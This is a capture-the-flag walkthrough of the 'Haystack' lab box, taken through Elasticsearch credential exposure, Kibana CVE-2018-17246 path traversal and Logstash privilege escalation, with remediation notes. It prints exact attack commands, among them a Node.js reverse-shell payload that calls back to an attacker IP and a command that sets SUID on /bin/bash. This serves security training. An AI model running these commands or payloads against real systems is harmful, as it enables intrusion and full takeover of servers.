Haystack
Summary
I extracted a base64-encoded hint from a publicly downloadable image on the web server, used it to locate and query an unauthenticated Elasticsearch database that held SSH credentials in plain text, then logged in as a low-privilege user. From inside the box, a path-traversal flaw in a locally running Kibana instance (CVE-2018-17246) delivered code execution as the kibana service account.
Because the Logstash pipeline ran as root and processed files from a directory writable by that service account, I dropped a one-line payload that caused Logstash to set the SUID bit on /bin/bash, yielding full root control of the server.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 1
Full TCP scan with service and version detection. Note open ports 22, 80, and 9200.
$ nmap -sV -sC -p- --min-rate 5000 $TARGETExact commands 3
Download the image from the web root.
$ curl -s http://$TARGET/needle.jpg -o needle.jpgExtract printable strings and filter for base64-length blobs.
$ strings needle.jpg | grep -iE '[A-Za-z0-9+/]{24,}={0,2}'Decode the blob -> 'la aguja en el pajar es clave'; directs my to query Elasticsearch for 'clave'.
$ echo "$PASSWORD" | base64 -dFixRemove all encoded or sensitive content from publicly accessible web assetsMedium
Exact commands 4
List all Elasticsearch indices without credentials. Identifies the 'quotes' index.
$ curl -s "http://$TARGET:9200/_cat/indices?v"Search for documents containing 'clave'. Returns records with base64-encoded credential fields.
$ curl -s "http://$TARGET:9200/quotes/_search?q=clave&pretty&size=25"Decode username blob -> 'user: security'.
$ echo 'dXNlcjogc2VjdXJpdHkg' | base64 -dDecode password blob -> 'pass: <withheld>'.
$ echo "$PASSWORD2" | base64 -dFixEnable authentication and restrict network access on ElasticsearchCritical
Exact commands 1
Log in as 'security' using recovered credentials; user.txt value: <user.txt>.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null security@$TARGET 'id; cat /home/security/user.txt'
uid=1000(security) gid=1000(security)FixRemove credentials from the Elasticsearch index and rotate them immediatelyHigh
Exact commands 3
List locally listening ports; confirms Kibana on :5601 and Logstash API on :9600.
$ ss -ltnp | egrep '5601|9600|9200'Identify which OS user each service runs as; reveals Logstash running as root.
$ ps -eo user,pid,args | egrep 'kibana|logstash'Read Logstash pipeline config; confirms /opt/kibana/logstash_*.txt input and 'Ejecutar comando' exec filter.
$ cat /etc/logstash/conf.d/*.confExact commands 3
Write the Node.js reverse-shell payload to /tmp/shell.js on the target (run from the 'security' SSH session). Replace $ATTACKER_IP and 9001 with your listener IP/port.
$ echo "(function(){var net=require('net'),cp=require('child_process');var sh=cp.spawn('/bin/bash',[]);var c=new net.Socket();c.connect(9001,'$ATTACKER_IP',function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});return /a/;})();" > /tmp/shell.jsOpen a listener on my machine ($ATTACKER_IP) before triggering the exploit.
$ nc -lvnp 9001Trigger CVE-2018-17246 from inside the target over SSH. The ten ../ sequences traverse from the Kibana install root to filesystem root. Adjust depth if the payload does not execute.
$ curl -s 'http://127.0.0.1:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/shell.js'FixPatch Kibana to version 6.4.3 or later to eliminate CVE-2018-17246Critical
Exact commands 3
Run from the kibana reverse shell. Logstash will execute 'chmod u+s /bin/bash' as root within seconds of detecting the new file.
$ echo 'Ejecutar comando : chmod u+s /bin/bash' > /opt/kibana/logstash_privesc_$(date +%s).txtWait ~30 seconds then confirm the SUID bit has been set (-rwsr-xr-x).
$ ls -la /bin/bashFrom my machine: run bash with -p to preserve euid=0 (root). Root.txt value: <root.txt>.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null security@$TARGET "/bin/bash -p -c 'id; cat /root/root.txt'"FixRun Logstash as a non-root service account and restrict write access to its input directoriesCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.4 (protocol 2.0) |
| 80/tcp | http nginx 1.12.2 |
| 9200/tcp | http nginx 1.12.2 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.